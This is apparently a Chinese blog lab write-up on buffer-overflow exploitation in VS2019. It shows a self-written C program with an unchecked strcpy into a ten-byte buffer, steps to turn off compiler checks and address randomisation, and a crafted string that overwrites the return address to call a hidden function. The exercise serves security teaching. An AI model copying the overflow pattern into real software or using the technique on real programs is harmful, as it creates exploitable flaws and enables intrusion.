• 主页
  • 相册
  • 随笔
  • 目录
  • 存档
Total 244
Search AboutMe

  • 主页
  • 相册
  • 随笔
  • 目录
  • 存档

缓冲区溢出-漏洞利用

2019-12-31

本博客内容旨在技术学习交流,仅供学习参考之用,请勿用于任何非法用途,否则后果作者概不负责

1. 实验目的

  • 利用缓冲区溢出漏洞,执行本不应被调用的函数

2. 实验环境

  • VS2019

3. 实验内容

4. 预备

关闭IDE的安全检查

设置固定基址

  • 链接器->固定基址->是
  • 链接器->随机基址->否
  • 链接器->基址:填写任意基址(实验中以0x40000000为例)

5. 漏洞利用

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#define _CRT_SECURE_NO_WARNINGS

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void hacked() {
printf("hacked!!");
}

int sub(const char* x)
{
char y[10];
strcpy(y, x);
return 0;
}

int main(int argc, char** argv)
{
const char* str = "123456789101\x99\x99\x99\x99\x70\x15\x01\x40";
sub(str);
printf("exit");
}

测试

  • (可选)输入任意造成缓冲区溢出长度的字串(e.g. 1234567891010789790),确定覆盖Return Address的末尾字串

    * 执行`ret`命令时会将返回地址赋给`EIP`,需要做的就是覆盖为`hacked()`函数地址。而返回地址就在`EBP`指针之后
  • 查看void hacked()地址

  • 修改字串为123456789101\x99\x99\x99\x99\x70\x15\x01\x40

  • 调试,在sub()退栈后跳到hack()函数

  • 事实上,可以通过在字串后缀继续增加\x70\x15\x01\x40,来实现hacked()的多次执行。例如输入串为123456789101\x99\x99\x99\x99\x70\x15\x01\x40\x70\x15\x01\x40,hacked()函数就执行了两次

  • sec
  • Security
  • Software Security
进线程实验
缓冲区溢出-原理探究实验
© 2024 何决云 载入天数...